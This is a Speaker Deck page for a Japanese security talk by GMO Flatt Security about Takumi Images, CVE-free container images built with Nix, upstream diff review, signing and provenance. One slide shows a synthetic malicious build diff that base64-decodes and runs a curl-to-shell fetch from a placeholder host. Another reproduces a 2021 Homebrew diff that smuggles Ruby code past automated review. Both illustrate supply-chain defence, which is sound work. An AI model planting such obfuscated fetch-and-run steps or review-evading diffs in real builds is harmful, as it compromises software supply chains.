Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
セキュアなコンテナイメージをつくろう 〜CVE-free コンテナイメージ「Takumi ...
Search
GMO Flatt Security
July 21, 2026
14
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
セキュアなコンテナイメージをつくろう 〜CVE-free コンテナイメージ「Takumi Images」の概要と裏話〜
弊社オンラインイベント (
https://flatt.connpass.com/event/399766/
) におけるCTO米内のセッション資料です。
GMO Flatt Security
July 21, 2026
More Decks by GMO Flatt Security
See All by GMO Flatt Security
AI Agent SaaS を支える自社仮想化基盤への挑戦と実運用 / ai-agent-saas-virtualization
flatt_security
3
4.1k
Mastra ソフトウェアサプライチェーン攻撃の概要と対応指針
flatt_security
1
55
ソフトウェアサプライチェーン攻撃対策として今からサクッとできること
flatt_security
2
260
更なる npm パッケージ侵害事件「Mini Shai-Hulud」徹底解説
flatt_security
1
570
Bitwarden ソフトウェアサプライチェーン攻撃 詳細解説
flatt_security
4
1.7k
axios, LiteLLM...不使用だったのでOK、ではない。「次に備える」ソフトウェアサプライチェーン侵害への対策
flatt_security
6
6k
情報科学若手の会・セキュリティ若手の会 春の陣2026
flatt_security
0
330
GitHub Actions侵害 — 相次ぐ事例を振り返り、次なる脅威に備える
flatt_security
14
9.5k
ReactのdangerouslySetInnerHTMLは“dangerously”だから危険 / Security.any #09 卒業したいセキュリティLT
flatt_security
0
930
Featured
See All Featured
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
32
3.8k
Money Talks: Using Revenue to Get Sh*t Done
nikkihalliwell
0
380
Discover your Explorer Soul
emna__ayadi
2
1.2k
Claude Code のすすめ
schroneko
67
230k
Google's AI Overviews - The New Search
badams
0
1.1k
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
49
10k
Building Better People: How to give real-time feedback that sticks.
wjessup
370
20k
What’s in a name? Adding method to the madness
productmarketing
PRO
24
4.1k
WCS-LA-2024
lcolladotor
0
710
Taking LLMs out of the black box: A practical guide to human-in-the-loop distillation
inesmontani
PRO
3
2.3k
AI Search: Implications for SEO and How to Move Forward - #ShenzhenSEOConference
aleyda
1
1.3k
Deep Space Network (abreviated)
tonyrice
0
230
Transcript
None
None
目次 お昼休みの 60 分で、脆弱性対応済コンテナイメージの中身と裏側をお話しします! 1 セキュアなコンテナイメージへのいざない ベースイメージを巡る 2 つの脅威と Takumi
Images の概要を紹介します。 2 原則 (1) ベースをとにかく小さくする distroless 構成で持ち込むソフトウェアを減らします。 3 原則 (2) 全ての差分をレビューする イメージに入る全ての上流ソースの差分を検査します。 4 原則 (3) できるだけ安全にビルドする 密閉・再現可能ビルドと署名で作って届けます。 5 今後の展望 バージョン別タグや SLA などこれからの計画を話します。 © GMO Flatt Security Inc. All Rights Reserved. 3 / 51
Section 1 セキュアなコンテナイメージへのいざない © GMO Flatt Security Inc. All Rights
Reserved. 4 / 51
FROM の 1 行に宿る、全ソフトウェアの調達判断 ベースイメージを 1 つ選ぶと、その中身すべてが自社のサプライチェーンに入ってくる FROM の 1
行 中身はまるごと自社の出荷物に アプリが使わないツールやライブラリも、まとめて自社の出荷物に入る 中身の脆弱性対応と出どころの確認は、選んだ側が引き受ける 「いま何を持ち込んでいるか」に答えられることが出発点 © GMO Flatt Security Inc. All Rights Reserved. 5 / 51
脅威 (1) | 増え続ける既知脆弱性への終わらない追従 公開される CVE は年々増え、パッチ追従は一度きりでは終わらない業務になっている 年 公開された CVE
件数 2016 2020 2024 2025 6,517 19,222 40,704 49,972 件数は NVD の公開日ベース集計(NVD API 2.0、2026-07 時点) ベースイメージ由来のノイズで、本当に見るべき指摘が埋もれる 脆弱性の発見から攻撃までの期間も、AI が大幅に縮めうると指摘されている 金融庁と日本銀行も、金融機関等にパッチ適用に係る人的リソースの追加を要請 © GMO Flatt Security Inc. All Rights Reserved. 6 / 51
脅威 (1) の補足 | 件数だけでは決まらない対応の優先度 検出された件数の多さと、実際に悪用されるリスクの高さは別の話である 観測対象 件数 1 年間に公開された
CVE(2025 年、NVD) 悪用が確認された累計(CISA KEV、2026-07-16 時点) 49,972 1,647 年間数万件の公開に対し、悪用確認済みは累計でも 1,647 件 悪用が確認された脆弱性は、CISA が KEV としてカタログ化している 実行時には到達しないコードの検出や、脆弱性かどうか揉めているレコードも混ざる 件数を減らすことと、リスクを減らすことは別物 © GMO Flatt Security Inc. All Rights Reserved. 7 / 51
脅威 (2) | 2 年がかりで忍び込む悪意ある差分 圧縮ライブラリ xz-utils には、2 年越しの工作でバックドアが混入した(CVE-2024-3094) 信頼を積み上げる
2 年超 2021/10 最初のパッチ 無害な変更で 実績づくり 2022/2 最初のコミット NULL チェック追加など 正当な変更 混入から発覚まで 35 日 2023/3 リリース権限を掌握 v5.4.2 を単独リリース 2024/2 2024/3/29 配布 tarball に バックドア混入 CVE-2024-3094 CVSS 10.0 v5.6.0 公開 発覚 ソックパペットの圧力で権限移譲を誘導。積み上げた信頼が攻撃の足場になった バックドアはソースリポジトリに無く、配布 tarball の「テストファイル」内に隠蔽 SSH ログインの約 500ms の遅延にたまたま気づいたことが発覚のきっかけ © GMO Flatt Security Inc. All Rights Reserved. 8 / 51
Takumi Images | 導入: FROM の 1 行書き換え Takumi Images
に対応イメージがあれば、Dockerfile の FROM 行の変更だけで移行できる - FROM node:latest + FROM images.flatt.tech/takumi/node:latest 書き換えはこの 1 行。あとは pull のたびに対応済みへ追従 実行用ステージの FROM が起点。ビルド作業は multi-stage の builder 側で行う 修正版が公開されたら、最新イメージを pull し直して追従する ベースイメージ内の依存調査と修正版選定は、提供側に任せられる © GMO Flatt Security Inc. All Rights Reserved. 9 / 51
Takumi Images | 導入: ベータ提供の概要 継続的な再ビルドとスキャンで既知脆弱性に対応し、残る判断も VEX で公開している OCI レジストリ
images.flatt.tech で公開中 ベータ版。認証不要・無料で pull できる :latest 提供中。amd64 / arm64 両対応 守るのはベースイメージ由来の脆弱性 アプリ自身の依存は利用者の守備範囲 提供イメージはカタログで確認できる flatt.tech/takumi/images © GMO Flatt Security Inc. All Rights Reserved. 10 / 51
Takumi Images | 裏側: 毎日回る監視・ビルド・配布 FROM の 1 行の裏で、監視・ビルド・配布のサイクルが毎日回っている 密閉・再現可能ビルド
上流の全差分を毎日レビュー 判断は SBOM と VEX で公開 署名して配布 FROM の 1 行で利用 上流の全ソースを毎日巡回し、静かな修正と悪意ある差分を見張る 直したものを密閉・再現可能ビルドで作り直し、署名してレジストリへ 何をどう判断したかは SBOM と VEX で公開する © GMO Flatt Security Inc. All Rights Reserved. 11 / 51
Takumi Images | 裏側: 利用者との責任共有 上流がつくり、当社が確かめて届け、利用者が使う。境界は FROM の 1 行にある
境界は FROM の 1 行 ソフトウェアと修正をつくるのは上流 確かめて届けるのが当社 アプリの依存と運用は利用者 ソフトウェアと修正をつくるのは上流の開発者。その仕事の上に全体が成り立つ アプリ自身の依存、pull の追従、実行環境の設定は利用者が受け持つ pull の追従が止まると対応済み状態も古びる。追従までが利用者の持ち分 © GMO Flatt Security Inc. All Rights Reserved. 12 / 51
Takumi Images | メリット (1): 脆弱性対応済であること 無理な 0-CVE 化はせず、直せるものは直し、残る指摘は根拠つきで公開する {
"vulnerability": { "name": "CVE-2025-60876" }, "products": [{ "@id": "pkg:oci/busybox@sha256:de981ea3... ?repository_url=images.flatt.tech/takumi&tag=latest" }], "status": "not_affected", "justification": "vulnerable_code_not_present", "impact_statement": "... vendors the exact upstream fix for this CVE as an unconditional local patch ..." } VEX(影響有無の表明形式)の実データ。all.openvex.json から誰でも取得できる 判断主体は当社。根拠ごと公開し、第三者がそのまま追検証できる 未修正は affected のまま公開。2026-07 時点の内訳は fixed 680 / not_affected 497 / affected 12 © GMO Flatt Security Inc. All Rights Reserved. 13 / 51
Takumi Images | メリット (1) 補足: 対応の 3 経路 既知脆弱性が消える経路は、この
3 つに絞られている 経路 何が起きるか 判断の記録が残る場所 依存の一括更新 上流の修正版に追従。依存はカタログ全体で 共有され、1 回の更新が全イメージに届く 一括更新にまだ入らない上流修正を パッケージ単位で先行適用 影響しない指摘は 根拠つきで not_affected SBOM の component 更新 先取りパッチ VEX による表明 公開中の busybox には CVE-2025-60876 等の修正を先行適用済み どの経路でも、利用者が個別イメージにパッチを当てる必要はない SBOM の pedigree.patches (diff 本文ごと) 公開 VEX repository と 署名付き attestation © GMO Flatt Security Inc. All Rights Reserved. 14 / 51
Takumi Images | メリット (1) 補足: トリアージ判断の公開 同じトリアージ判断は、2 つの経路のどちらからでも誰でも検証できる $
curl -fsS https://vex.images.flatt.tech/.well-known/vex-repository.json { "name": "Takumi Images VEX Repository", "versions": [{ "spec_version": "0.1", "locations": [{ "url": "https://vex.images.flatt.tech/v1/vex-data.tar.gz" }], "update_interval": "24h" }] } もう 1 経路は attestation。digest に署名付きで紐づく表明で、中身は同じ OpenVEX 更新間隔は 24h。対応クライアントは discovery manifest を起点に取得できる © GMO Flatt Security Inc. All Rights Reserved. 15 / 51
Takumi Images | メリット (2): マルウェア検査済であること イメージに入る全上流ソースの差分は、取り込む前に検査を通す 検査の観点 見ているもの silent
fix の検知(negative-day) 悪性差分の検知(maliciousness) CVE になる前に静かに直された修正 xz 型の、正規の変更に紛れた悪意ある混入 兆候が出た変更は自動では取り込まず、人間の判断まで保留する どう検査しているかの裏側は、原則 (2) の章で詳しく説明する © GMO Flatt Security Inc. All Rights Reserved. 16 / 51
方針 | 2 つのメリットを支える 3 つの原則 2 つのメリットを支える作り方は、3 つの原則にまとめられる ①
ベースをとにかく小さくする ② 全ての差分をレビューする ③ できるだけ安全にビルドする ベースが小さいほど、追うべき脆弱性もレビューすべき差分も減る Takumi Images はこの 3 原則の実装。Section 2〜4 がこの順に対応 © GMO Flatt Security Inc. All Rights Reserved. 17 / 51
Section 2 原則 (1) ベースをとにかく小さくする © GMO Flatt Security Inc.
All Rights Reserved. 18 / 51
原則 (1) | 使わないものを持ち込まない設計 持ち込む量を絞れば、当てるべきパッチも悪意ある差分の隠れ場所も同時に減る 使わないものは持ち込まない 積んだ量だけ、当て続けるパッチが増える。減らせば母数ごと減る 悪意ある差分が紛れ込める場所も、同じだけ狭くなる 2 つの脅威に共通する分母を、最初に絞ってしまう一手
積んでいるものも間引く © GMO Flatt Security Inc. All Rights Reserved. 19 / 51
同梱範囲 | 用途ごとのランタイムクロージャ OS 一式を丸ごとではなく、entrypoint の実行に必要な依存だけを入れている $ crane export --platform
linux/amd64 \ images.flatt.tech/takumi/busybox:latest - | tar -tf ... /nix/store/kw8wnw...-nss-cacert-3.125/etc/ssl/certs/ca-bundle.crt /nix/store/ias8xa...-glibc-2.42-67/lib/ld-linux-x86-64.so.2 /nix/store/ias8xa...-glibc-2.42-67/lib/libc.so.6 /nix/store/zbi4rx...-busybox-1.37.0/bin/busybox ... 各イメージは Nix でビルド。実行時に実際に使われるストアパスだけが成果物に入る curl・nginx などは /bin/sh もパッケージマネージャも持たない busybox・node・postgres などは、用途や互換性に必要なシェル・ツールを明示的に含む 構成の詳細は Distroless イメージに記載 © GMO Flatt Security Inc. All Rights Reserved. 20 / 51
実測 | ストアパス 10 個で数え終わる busybox イメージ Takumi の busybox
イメージを展開すると、Nix のストアパス 10 個で列挙が終わる イメージ 列挙単位 実測 内訳 images.flatt.tech/takumi/busybox:latest debian:stable (13.6) Nix ストアパス dpkg パッケージ 10 個 78 個 ソフトウェア 6 個 + 設定類 4 個 apt、perl-base、tar ほか $ crane export --platform linux/amd64 images.flatt.tech/takumi/busybox:latest - \ | tar -t | grep -oE 'nix/store/[^/]+' | sort -u | wc -l 10 $ docker run --rm --pull=always --platform linux/amd64 debian:stable \ dpkg-query -f '${binary:Package}\n' -W | wc -l 78 ソフトウェア 6 個の中身は busybox、glibc、libgcc、libidn2、libunistring、CA 証明書 Distroless イメージの手順どおり、この 2 コマンドで手元でも再現できる © GMO Flatt Security Inc. All Rights Reserved. 21 / 51
効果 (1) | 静かになるスキャン結果 脆弱性を含みうる母数が小さいから、報告される指摘もそのぶん減る $ grype -q -o json
--platform linux/amd64 registry:debian:stable \ | jq '[.matches[].vulnerability.id] | unique | length' 63 $ grype -q -o json --platform linux/amd64 \ registry:images.flatt.tech/takumi/busybox:latest \ | jq '[.matches[].vulnerability.id] | unique | length' 3 Grype 0.115.0 / DB 2026-07-20 の実測。63 件は triage 済みや誤検知も含む生の値 3 件はスキャナが Nix 構成を読めた範囲。漏れなく数えるのは SBOM と VEX の仕事 残る 3 件は全て VEX で判断済み。fixed 2 件、not_affected 1 件 © GMO Flatt Security Inc. All Rights Reserved. 22 / 51
効果 (2) | 実際の中身を列挙する SBOM パッケージ DB のスキャンではなく、イメージに実際に入っているものの列挙を CycloneDX として添
付している { "bom-ref": "zbi4rx3wwmgmhjml346hl2xzg8ax2ffq-busybox-1.37.0", "name": "busybox", "version": "1.37.0", "purl": "pkg:nix/
[email protected]
", "cpe": "cpe:2.3:a:busybox:busybox:1.37.0:*:*:*:*:*:*:*", "externalReferences": [{ "type": "vcs", "url": "https://busybox.net/downloads/busybox-1.37.0.tar.bz2", "hashes": [{ "alg": "SHA-256", "content": "3311dff32e74…" }] }] } そもそもパッケージ DB をイメージに積まないので、DB スキャンは成立しない bom-ref は Nix ストアパス。どの入力から出た部品かまで一意 cpe 付きで手元スキャナに照合できる。先取りパッチ分は SBOM と VEX の併用で判断する © GMO Flatt Security Inc. All Rights Reserved. 23 / 51
先取りパッチの記録 | SBOM の pedigree.patches 上流の修正は依存の一括更新を待たず先行適用し、その diff を SBOM に残す
"pedigree": { "patches": [ { "type": "unofficial", "diff": { "text": { "content": " (適用したパッチの diff 本文)" } } } ] } busybox 1.37.0 には CVE-2025-60876 と CVE-2024-58251 の修正を先行適用済み バージョン表記は 1.37.0 のまま。修正済みであることは署名付き SBOM で示す 経路の使い分けは既知脆弱性への対応に記載 © GMO Flatt Security Inc. All Rights Reserved. 24 / 51
原則 (1) のまとめ | 残り 2 原則を支える小さいベース 持ち込む量を絞ることが、以降の防御すべての出発点になる ① ベースをとにかく小さくする
② 全ての差分をレビューする ③ できるだけ安全にビルドする ↓ ベースの小ささは、それ自体が防御であると同時に、差分レビューとビルド保証を現実の作業量に収める前提 © GMO Flatt Security Inc. All Rights Reserved. 25 / 51
Section 3 原則 (2) 全ての差分をレビューする © GMO Flatt Security Inc.
All Rights Reserved. 26 / 51
原則 (2) | 入ってくる全差分の機械レビュー 悪意は膨大な正常差分に紛れた一滴であり、抜き取り検査では拾えない 悪意は源流の一滴 下流に届いてからでは遅い 正常な差分は毎日大量に流れる xz の発見は偶然頼み。動き続ける上流の全コミットを人手で読むのは非現実的
だから入ってくる全差分を機械 + LLM のレビューに通す 目指すのは「必ず見つけられる」と示すことではなく、公開前に見つかる確率を上げ続けること © GMO Flatt Security Inc. All Rights Reserved. 27 / 51
事例 (1) xz-utils | レビュー対象とビルド入力の乖離 バックドアは、みんながレビューする Git リポジトリではなく、ビルドされる配布 tarball にいた
みんなが見ていたもの 実際にビルドに入ったもの Git リポジトリ上のソース。バックドア本体は 「テストデータ」に擬態し、無害に見えた 配布 tarball。改変された build-to-host.m4 が ビルド時にバックドアを組み込んだ リポジトリだけを見る監査は、目視でも自動でも構造的に素通しだった 使うもの、特にビルドに取り込む tarball は、取ってきたままの形で検査する必要がある © GMO Flatt Security Inc. All Rights Reserved. 28 / 51
事例 (2) Homebrew | 自動レビューを騙した版数更新の擬態 版数更新だけの無害な差分と誤認させれば、悪性コード入りの PR を自動マージさせられた diff --git
a/Casks/iterm2.rb b/Casks/iterm2.rb @@ -8,6 +8,8 @@ sha256 "e7403dcc5b08...b47df" +++ "b/#{ puts 'arbitrary Ruby here'; ... }" +++ b/Casks/iterm2.rb url "https://iterm2[.]com/downloads/..." git_diff gem は +++ "b/…" をファイルパス行と誤認。追加行が 0 と数えられ review.yml の版数更新チェックを通過 GMO Flatt Security の研究者 RyotaK による 2021 年の報告。実害の前に修正済み 成立すれば brew install や brew search で任意コード実行に至る状態だった 機械的な検査は擬態に弱い。だから差分の意味まで LLM に読ませる © GMO Flatt Security Inc. All Rights Reserved. 29 / 51
前提 | 「全て」を列挙できるビルド 外部からの取得はすべて、内容ハッシュを先に宣言した FOD(固定出力導出)に限る src = fetchurl { url
= "mirror://gnu/hello/hello-2.12.2.tar.gz"; hash = "sha256-WpqZbcKSzCTc9BHO6H6S9qrluNE72caBm0x6nc4IGKs="; }; 取得したバイト列が宣言と一致しなければ、ビルドはその場で失敗する ビルドグラフをたどれば、全上流の URL・リビジョン・ハッシュが機械的に列挙できる ビルドツールのソースも同じ一覧に載る。最下層の bootstrap の種だけは信頼して使うほかない サンドボックスで固める密閉ビルドの本体は、原則 (3) で詳述 © GMO Flatt Security Inc. All Rights Reserved. 30 / 51
運用 | 全上流の毎日の巡回レビュー FOD の一覧を起点に、前回レビュー地点からの差分を全量取得して検査する { "https://busybox.net/downloads/busybox-1.37.0.tar.bz2": { "hash": "sha256:3311dff32e746499f4df0d5df04d7eb396382d7e108bb9250e7b519b837043a4",
"images": ["busybox"] } } 台帳の 1 レコード。どの上流の、どの内容(ハッシュ)が、どのイメージに効くかまで決まる コミット・リリース・tarball の変化も、zlib のような推移的依存も同じ台帳で巡回する 検査の観点は 2 つ。silent fix の検知(negative-day)と悪性差分の検知 台帳の導出と検知の外形は Nix のビルド入力の導出と上流のマルウェア検知で公開中 © GMO Flatt Security Inc. All Rights Reserved. 31 / 51
観点 (1) negative-day | CVE になる前の silent fix の検知 セキュリティ修正は、公表より先に「ただのコミット」として上流に現れることがある
int copy_header(char *dst, const char *src, size_t len) { - memcpy(dst, src, len); + if (len > MAX_HEADER_LEN) return -1; + memcpy(dst, src, len); 境界チェックの追加 = 修正の気配 } 文面に security の語がなくても、境界チェックの追加そのものが修正のサインになる 軽量なフィルタで候補を絞り、LLM が修正か否かを文脈から判定する 公表日(day 0)の手前で拾うから negative-day。取りこぼしは残る前提で毎日回す © GMO Flatt Security Inc. All Rights Reserved. 32 / 51
観点 (2) maliciousness | xz 型の悪性差分の検知 機械的なパターン検査が「形」を拾い、LLM が差分の文脈と意図を判定する configure_and_build() {
./configure --prefix="$PREFIX" + eval "$(printf '%s' 'Y3VybCAtcyBodHRwczovL2V4YW1wbGUuaW52YWxpZC9wYXlsb2FkLnNoIHwgc2g=' | base64 -d)" make -j"$(nproc)" } 新規の実行ファイル、不審なビルドコマンド、エンコードされた塊などが代表例 実行ファイル形式のテストフィクスチャへの着目は、xz の教訓そのもの 上の diff は説明用のやさしい合成例。実際の兆候はより薄く、検知は確率的 兆候が出たバージョンは自動では取り込まれず、人の判断まで保留になる © GMO Flatt Security Inc. All Rights Reserved. 33 / 51
限界 | ソース差分レビューの守備範囲 巧妙に紛れ込ませた変更ほど、差分に現れる兆候は薄くなる 守る対象 担う原則と手段 ソースの差分 原則 (2) が機械
+ LLM で全量レビュー ビルド過程と成果物 原則 (3) が密閉・再現性・プロヴェナンスで検証 混入ゼロは証明できない。できるのは、公開前に見つかる確率を上げ続けることだけ レビューの対象はソース。成果物が正しく作られたかまでは、レビューでは保証できない ビルドと成果物そのものを固める話が、原則 (3) に続く © GMO Flatt Security Inc. All Rights Reserved. 34 / 51
原則 (2) のまとめ | 「全部見る」を成立させる設計 全差分レビューを支えるのは、レビューの賢さよりも対象を絞り切る設計である ① ベースをとにかく小さくする ② 全ての差分をレビューする
③ できるだけ安全にビルドする ↓ 「全ての差分をレビューする」は、小さいベースと列挙可能なビルドがあって初めて成立する © GMO Flatt Security Inc. All Rights Reserved. 35 / 51
Section 4 原則 (3) できるだけ安全にビルドする © GMO Flatt Security Inc.
All Rights Reserved. 36 / 51
残る 2 つの穴 | ビルド中の混入と、配布物の差し替え ソースのレビューを通っても、ビルドと配布の途中で差し替わる余地は残る 検品済みのソース ビルド | 混入の最後の余地
封をして配布へ 原則 (2) で全差分をレビューしても、ビルドで別物になれば台無し SolarWinds はビルド工程の侵害で、正規署名つきの汚染版が配布された実例 信頼できるやり方でビルドし、そのまま安全に届けるまでが提供側の仕事 © GMO Flatt Security Inc. All Rights Reserved. 37 / 51
固め方 (1) | 密閉ビルド (Hermetic Build) 各ビルドステップは隔離サンドボックスで実行され、宣言していない入力には手が届かない 外部入力は宣言済みの 1 本だけ
宣言外アクセスは遮断 ハッシュ不一致なら即ビルド失敗 取得内容が宣言したハッシュと違えば、その場でビルド失敗 上流 tarball の静かな差し替えも、経路上の改ざんも通らない ビルド機にたまたま入っていたライブラリが混ざる余地も無い © GMO Flatt Security Inc. All Rights Reserved. 38 / 51
固め方 (2) | 再現可能ビルド (Reproducible Builds) 同じ入力から 2 回ビルドし、成果物のハッシュを突き合わせて再現性を検証する ハッシュ一致まで検証
同じ入力から 2 回ビルド 同じ入力(宣言済み) nix の決定性チェックと、tar ハッシュの二重ビルド比較の 2 段で確かめる 不一致は宣言外入力や非決定性のサイン。見つけ次第つぶす 一致が保証するのは決定性。入力自体の信頼は原則 (2) のレビューが担う © GMO Flatt Security Inc. All Rights Reserved. 39 / 51
実装 | 2 つの固め方をまとめて実現する Nix イメージのあるべき中身を式として宣言し、固定した入力だけから組み立てる { pkgs, mkImage }:
mkImage { name = "takumi/curl"; contents = with pkgs; [ curl ]; entrypoint = [ "${pkgs.curl}/bin/curl" ]; } Dockerfile で未固定になりやすいタグやパッケージ入力を、式とハッシュで固定 タイムスタンプは固定値に正規化。依存のクロージャも式から一意に決まる 仕組みの全編はビルドパイプラインの概要として公開中 © GMO Flatt Security Inc. All Rights Reserved. 40 / 51
証明 (1) 署名 | 「誰が作ったか」を暗号学的に示す ビルドが安全でも、手元のイメージがそのビルドの産物だという保証は別に要る $ cosign verify \
「main の release workflow の産物」だと誰でも検証できる --certificate-oidc-issuer=https://token.actions.githubusercontent.com \ --certificate-identity-regexp \ '.../takumi-images/.github/workflows/release.yml@refs/heads/main' \ images.flatt.tech/takumi/busybox:latest [{... "docker-manifest-digest":"sha256:de981ea3e899...f6bd6ac", "Subject":".../takumi-images/.github/workflows/release.yml@refs/heads/main" ...}] だから「この経路でビルドした」という事実に署名を付け、暗号学的に確かめられるようにする 署名主体は main の release workflow の identity。長期鍵はなく、記録は公開の Sigstore log(Rekor)に残る 証明されるのは「この workflow が作った」こと。workflow 自体はブランチ保護とレビューで守る © GMO Flatt Security Inc. All Rights Reserved. 41 / 51
証明 (2) プロヴェナンス | 「どこで・何からビルドしたか」を示す 「安全な場所でビルドした」の中身、つまり入力と実行環境の記録が各イメージに付いてくる 「どの入力から・どこでビルドしたか」を誰でも検証できる CHILD_DIGEST=$(crane manifest images.flatt.tech/takumi/busybox:latest
\ | jq -r '.manifests[] | select(.platform.architecture=="amd64").digest') cosign verify-attestation \ --certificate-oidc-issuer=https://token.actions.githubusercontent.com \ --certificate-identity-regexp \ '.../takumi-images/.github/workflows/release.yml@refs/heads/main' \ --type slsaprovenance1 \ "images.flatt.tech/takumi/busybox@${CHILD_DIGEST}" 記録はリリース workflow が実行時に持っていた情報そのもので、後づけできない 記録形式は SLSA v1。ビルド出自を記述するための業界標準に沿って署名つきで添付する SBOM や VEX も同じ identity で署名。手順は Attestation ガイドに公開中 © GMO Flatt Security Inc. All Rights Reserved. 42 / 51
原則 (3) のまとめ | 固めて作り、作った事実を証明する どの段も「信じてください」ではなく、後から誰でも検証できる形で残している ① ベースをとにかく小さくする ② 全ての差分をレビューする
③ できるだけ安全にビルドする ↓ ビルドを信頼できる形にし、そのまま安全に届けるところまでが、脆弱性対応済コンテナイメージの仕事 © GMO Flatt Security Inc. All Rights Reserved. 43 / 51
一般化 | 提供する側の防御の 3 水準 出自の証明・ビルドの隔離・再現可能性は、ソフトウェアを提供する側なら誰にでも当てはまる 提供する側の防御 Takumi Images での実践
出自の証明 FOD による全入力の列挙。keyless 署名とプロヴェナンス ビルドの隔離 密閉ビルド。宣言外のネットワーク・ファイルアクセスを遮断 再現可能性 同じ入力から 2 回ビルドし、ハッシュ一致を検証 Takumi Images はこの 3 水準をコンテナイメージで実践した形 同じ構図は自分たちのビルドとリリースにもそのまま応用できる © GMO Flatt Security Inc. All Rights Reserved. 44 / 51
Section 5 今後の展望 © GMO Flatt Security Inc. All Rights
Reserved. 45 / 51
バージョン別タグと脆弱性対応 SLA バージョンを固定したい利用者向けのタグと、修正を届けるまでの時間の取り決めを準備している # 現在: :latest のみ。無料のまま提供を続ける FROM images.flatt.tech/takumi/node:latest #
2026 年 8 月目標: 系列を選んで追えるバージョン別タグ(有償プラン) FROM images.flatt.tech/takumi/node:22 # 挙動を厳密に固定したいときは digest 参照 FROM images.flatt.tech/takumi/node:latest@sha256:<digest> バージョン別タグは系列内の最新ビルドを指し続ける floating 方式の予定 提供範囲は上流が保守するリリーストラックにあわせて線引きする方針 SLA の目標値は策定中。数字で約束できるようになってから公開する © GMO Flatt Security Inc. All Rights Reserved. 46 / 51
カタログ | 36 イメージへの拡大 データベース・ランタイム・ミドルウェアを含むカタログをベータ提供している 分類 提供例 基盤・開発ツール busybox・curl・git・cosign・crane・kubectl など
言語ランタイム node・python・ruby・php・.NET・JDK / JRE など DB・ミドルウェア postgres・mariadb・redis / valkey・nginx・HAProxy・Tomcat など 2026-07-20 時点で 36 イメージを公開(カタログ) 今後も同じ 3 原則のパイプラインでカタログを拡充する 提供順は利用状況と要望を見ながら決めていく © GMO Flatt Security Inc. All Rights Reserved. 47 / 51
Section 6 まとめ © GMO Flatt Security Inc. All Rights
Reserved. 48 / 51
はじめの一歩 | FROM の 1 行書き換え images.flatt.tech からの pull は無料で、認証もアカウント登録も要らない
- FROM node:latest + FROM images.flatt.tech/takumi/node:latest 修正版が公開され次第、pull し直して対応済みイメージへ追従できる digest 固定と署名検証の手順はクイックスタートに記載 ↓ まずは Dockerfile の FROM を 1 行書き換えるところから。今日から試せる © GMO Flatt Security Inc. All Rights Reserved. 49 / 51
None
None